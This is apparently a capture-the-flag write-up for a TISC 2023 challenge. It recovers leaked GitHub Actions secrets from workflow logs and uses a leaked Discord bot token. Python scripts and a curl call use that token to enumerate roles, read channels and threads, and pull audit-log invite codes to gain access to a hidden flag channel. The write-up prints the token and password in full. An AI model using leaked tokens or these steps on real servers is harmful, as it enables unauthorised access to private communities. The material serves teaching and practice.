# Level 5 - PALINDROME'S Invitation

Valuable intel suggests that PALINDROME has established a secret online chat room for their members to discuss on plans to invade Singapore's cyber space. One of their junior developers accidentally left a repository public, but he was quick enough to remove all the commit history, only leaving some non-classified files behind. One might be able to just dig out some secrets of PALINDROME and get invited to their secret chat room...who knows?\
\
Start here: <https://github.com/palindrome-wow/PALINDROME-PORTAL>

***

We are given a link to a public GitHub repository that only contains a GitHub Actions workflow file.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FRvr98xeCiZIFBUpQD56k%2Fimage.png?alt=media&#x26;token=3047b8b0-d37c-4dea-9518-c221d64c8fd5" alt=""><figcaption></figcaption></figure>

The workflow file is shown below.

```yaml
name: Test the PALINDROME portal

on:
    issues:
        types: [closed]

jobs:
  test:
    runs-on: windows-latest
    steps:
      - uses: actions/checkout@v3
      - name: Test the PALINDROME portal
        run: | 
          C:\msys64\usr\bin\wget.exe '''${{ secrets.PORTAL_URL }}/${{ secrets.PORTAL_PASSWORD }}''' -O test -d -v
          cat test
```

The workflow runs when an issue is closed, and it uses the `wget` command to make a request to the **PORTAL\_URL** with the **PORTAL\_PASSWORD** secrets.

Let's take a look at the Actions workflows that have already been run to see if we could find these variables in the logs.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FbUKQQV9ys3lJr79Fx57A%2Fimage.png?alt=media&#x26;token=db0e34ad-81d6-4a8a-a0ef-fb809699957d" alt=""><figcaption></figcaption></figure>

From the logs, we can see that the Portal URL is [**http://chals.tisc23.ctf.sg:45938**](http://chals.tisc23.ctf.sg:45938) and the Portal Password is `:dIcH:..uU9gp1%3C@%3C3Q%22DBM5F%3C)64S%3C(01tF(Jj%25ATV@$Gl`.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FOmTVXN53UrP3i7E1ebBt%2Fimage.png?alt=media&#x26;token=98fc2259-5181-40cc-8494-815184d9f157" alt=""><figcaption></figcaption></figure>

URL decode the password (`:dIcH:..uU9gp1<@<3Q"DBM5F<)64S<(01tF(Jj%ATV@$Gl`)and submit it on the web application. The application generates a Discord server invite URL and what seems to be a Base64-encoded string.

&#x20;

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2F23tlpFh8NWu0G1Gppqa3%2Fimage.png?alt=media&#x26;token=07b60bd9-7c96-4bba-9080-37371cfb8bb7" alt=""><figcaption></figcaption></figure>

First, join the Discord server.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FeWB02WzSjiDLRm8Ayrq5%2Fimage.png?alt=media&#x26;token=d49da224-cb0d-45b3-a876-ec62b64cccdd" alt="" width="300"><figcaption></figcaption></figure>

However, we seem to lack all privileges in this server.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FNH8p1nyFz5OjL2f14Jf7%2Fimage.png?alt=media&#x26;token=bccfe147-0482-493a-97c8-b25c5538da93" alt="" width="375"><figcaption></figcaption></figure>

The Base64 string `(MTEyNTk4MjE2NjM3MTc5NDk5NQ.GVBKnK.QlrWaL9QAaz1QlnIfrv1-y28eTWblHCBh72oT4`) included with the invite URL seems to be a Discord bot token. This could mean we are expected to perform some kind of Privilege Escalation on the server.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FLOkKvViwH48cYUAEGukW%2Fimage.png?alt=media&#x26;token=39ae718f-22e8-4a3a-bb35-e6bb084b5db0" alt=""><figcaption></figcaption></figure>

Let's write a Python script to enumerate our Bot's permissions on the server. The server ID is **1130166064710426674**. We create an `on_ready()` handler that runs when the bot instance is initialized, querying all roles in the server and their corresponding permission values.

```python
import discord

# Create a client instance
intents = discord.Intents.default()
intents.typing = False  # You can adjust these as per your needs
intents.presences = False
client = discord.Client(intents=intents)

# Event handler for when the bot is ready
@client.event
async def on_ready():
    print(f'We have logged in as {client.user}')

    server_id = "1130166064710426674"

    server = client.get_guild(int(server_id))
    
    roles = server.roles
    role_ids = {}
    for role in roles:
        role_ids[role.name] = role

    for r in role_ids:
        role = role_ids[r]
        print(role.name)
        print(role.permissions)
    
client.run('MTEyNTk4MjE2NjM3MTc5NDk5NQ.GVBKnK.QlrWaL9QAaz1QlnIfrv1-y28eTWblHCBh72oT4')
```

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FadMzR2OxwGaifdKsoEN7%2Fimage.png?alt=media&#x26;token=2753c202-a420-4c2d-8834-f790f91d4948" alt=""><figcaption></figcaption></figure>

We can see that our permission value is 66688. This means that the bot can View Channels, View Audit Log, and Read Message History.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FRKwZK4Yr9249P5efIv9S%2Fimage.png?alt=media&#x26;token=c1d102f3-af13-49f2-98fb-f3e5f327df3a" alt=""><figcaption></figcaption></figure>

Let's try reading messages in the server. We first retrieve all channels and loop through them to retrieve their message history.

```python
import discord

# Create a client instance
intents = discord.Intents.default()
intents.typing = False  # You can adjust these as per your needs
intents.presences = False
client = discord.Client(intents=intents)

# Event handler for when the bot is ready
@client.event
async def on_ready():
    print(f'We have logged in as {client.user}')

    server_id = "1130166064710426674"

    server = client.get_guild(int(server_id))
    
    print("CHANNELS")
    channel_ids = {}
    channels = client.get_all_channels()
    for channel in channels:
        channel_ids[channel.name] = {
            "name": channel.name,
            "id": channel.id,
            "type": channel.type,
        }
        print(f"{channel.name}: {channel.type}")
        
    print("MESSAGES")
    for c in channel_ids:
        try:
            channel = client.get_channel(channel_ids[c]["id"])
            async for message in channel.history(limit=200):
                print(f"{channel_ids[c]['name']}: {message}")
        except Exception as e:
            print(f"{channel_ids[c]['name']}: {e}")
            pass

        
client.run('MTEyNTk4MjE2NjM3MTc5NDk5NQ.GVBKnK.QlrWaL9QAaz1QlnIfrv1-y28eTWblHCBh72oT4')
```

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FxukXRkJH45spqLMBK53k%2Fimage.png?alt=media&#x26;token=1cf08b46-1ba5-4fa3-9795-93e7eb95fbc4" alt=""><figcaption></figcaption></figure>

Here, we can see 3 text channels, general, meeting-records and flag. The only channel we are able to read from is meeting-records, where we see a message or thread `meeting 05072023`.&#x20;

Let's try enumerating all threads in the server, we find 1 that matches from before.

```python
import requests

guild_id = "1130166064710426674"
channel_id = "1132170180101947504" # channel id of meeting-records
token = "'MTEyNTk4MjE2NjM3MTc5NDk5NQ.GVBKnK.QlrWaL9QAaz1QlnIfrv1-y28eTWblHCBh72oT4"

threads_api_urls = [
    f"/guilds/{guild_id}/threads/active",
    f"/channels/{channel_id}/users/@me/threads/archived/private",
    f"/channels/{channel_id}/threads/archived/public",
    f"/channels/{channel_id}/threads/archived/private"
]

def get_threads(token, url):
    headers = {
        "Authorization": f"Bot {token}"
    }
    r = requests.get(url, headers=headers)
    print(r.text)

for url in threads_api_urls:
    get_threads(token, f"https://discord.com/api{url}")
```

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FpehzKLZU65OZa6i0FVEH%2Fimage.png?alt=media&#x26;token=2fd5505d-47c4-497f-8709-6e2d15cbebfe" alt=""><figcaption></figcaption></figure>

Now, we can try joining the thread and reading the messages. This code will write all messages to the file `meeting 05072023.txt`.

```python
thread_id = "1132171433263517706"

def join_thread(token, url):
    headers = {
        "Authorization": f"Bot {token}"
    }
    r = requests.put(url, headers=headers)
    print(r.text)

join_thread(token, f"https://discord.com/api/channels/{thread_id}/thread-members/@me")

def list_thread_messages(token, url):
    headers = {
        "Authorization": f"Bot {token}"
    }
    r = requests.get(url, headers=headers)
    data = r.json()
    with open("meeting 05072023.txt", "w") as f:
        for message in data:
            f.write(f"{message['content']}\n")

list_thread_messages(token, f"https://discord.com/api/channels/{thread_id}/messages")
```

The messages read:

<pre data-overflow="wrap" data-line-numbers><code>This entire conversation is fictional and written by ChatGPT.
Anya: (Whispering) I promise, Mama. Our lips are sealed!
Yor: (Hugging Anya gently) That's the spirit, my little spy. We'll be the best team and support Papa in whatever way we can. But remember, we must keep everything a secret too.
Anya: (Feeling important) I'll guard it with my life, Mama! And when the time comes, we'll be ready for whatever secret mission they have planned!
Yor: (Nods knowingly) You might be onto something, Anya. Spies often use such clever tactics to keep their missions covert. Let's keep this invitation safe and see if anything happens closer to your supposed birthday.
Anya: (Giggling) Yeah! Papa must have planned it for me. But, Mama, it's not my birthday yet. Do you think this is part of their mission?
Yor: (Pretending to be surprised) Oh, my goodness! That's amazing, Anya. And it's for a secret spy meeting disguised as your birthday party? How cool is that?
Anya: (Excitedly) Mama, look what I found! It's an invitation to a secret spy meeting!
(Anya rushes off to her room, and after a moment, she comes back with a colorful birthday invitation. Notably, the invitation is signed off with: <a data-footnote-ref href="#user-content-fn-1">client_id 1076936873106231447</a>)
Anya: (Eyes lighting up) My room! I'll check there first!
Yor: (Pats Anya's head affectionately) You already are, Anya. Just by being here and supporting us, you make everything better. Now, let's focus on finding that clue. Maybe it's hidden in one of your favorite places.
Anya: (Giggling) Don't worry, Mama, I won't mess up anything. But I really want to be useful!
Yor: (Playing along) Of course, my little spy-in-training! We can look for any clues that might be lying around. But remember, we have to be careful not to interfere with Papa's work directly. He wouldn't want us to get into any trouble.
Anya: (Eager to help) I want to help Papa with this mission, Mama! Can we find out more about it? Maybe there's a clue hidden somewhere in the house!
Yor: (Trying not to give too much away) Hmm, '66688,' you say? Well, it's not something I'm familiar with. But I'm sure it must be related to the clearance or authorization they need for this specific task. Spies always use these secret codes to communicate sensitive information.
<strong>Anya: (Nods) Yeah, but Papa said it's a complicated operation, and they need some <a data-footnote-ref href="#user-content-fn-2">special permission with the number '66688' involved</a>. I wonder what that means.
</strong>Yor: (Intrigued) Oh, that sounds like a challenging mission. I'm sure your Papa will handle it well. We'll be cheering him on from the sidelines.
Anya: (Whispers) It's something about infiltrating Singapore's cyberspace. They're planning to do something big there!
Yor: (Smiling warmly) Really, Anya? That's wonderful! Tell me all about it.
Anya: (Excitedly bouncing on her toes) Mama, Mama! Guess what, guess what? I overheard Loid talking to Agent Smithson about a new mission for their spy organization PALINDROME!

</code></pre>

There is a reference to the client\_id 1076936873106231447 which refers to the BetterInvites Discord bot that allows users to attach Roles to Invite URLs, and to the permission number "66688".

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FRKwZK4Yr9249P5efIv9S%2Fimage.png?alt=media&#x26;token=c1d102f3-af13-49f2-98fb-f3e5f327df3a" alt=""><figcaption></figcaption></figure>

From this list, we have already used our "View Channels" and "Read Message History" permissions, but not the "View Audit Log" one. This permission allows users to view a log of administrative operations carried out on the server.

With this information, we can list the audit logs with the Discord API, filtering logs with the `action_type` value of **40** for "create invite link".

```bash
curl -H "Authorization: Bot <token>" https://discord.com/api/guilds/1130166064710426671/audit-logs?action_type=40
```

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FRsaS4PiKqGP1prZFjNWE%2F4-invite-link.png?alt=media&#x26;token=2be210b0-e054-40d8-b23b-e783f323188e" alt="" width="508"><figcaption></figcaption></figure>

We can use the first invite code in the log entries to craft a discord invite URL.

```
https://discord.com/invite/HQvTm5DSTs
```

And joining the server again with this URL gives us access to the flag channel.

<figure><img src="https://3892582933-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0meoVWCEITLpXkrLNbyr%2Fuploads%2FcwLPJvCCUSY630uPML52%2Fimage.png?alt=media&#x26;token=75325ddb-5222-47b7-9243-e3d57b9f37a1" alt=""><figcaption></figcaption></figure>

Flag: `TISC{H4ppY_B1rThD4y_4nY4!}`

[^1]: BetterInvites

    &#x20; &#x20;

[^2]: Discord

    &#x20;&#x20;
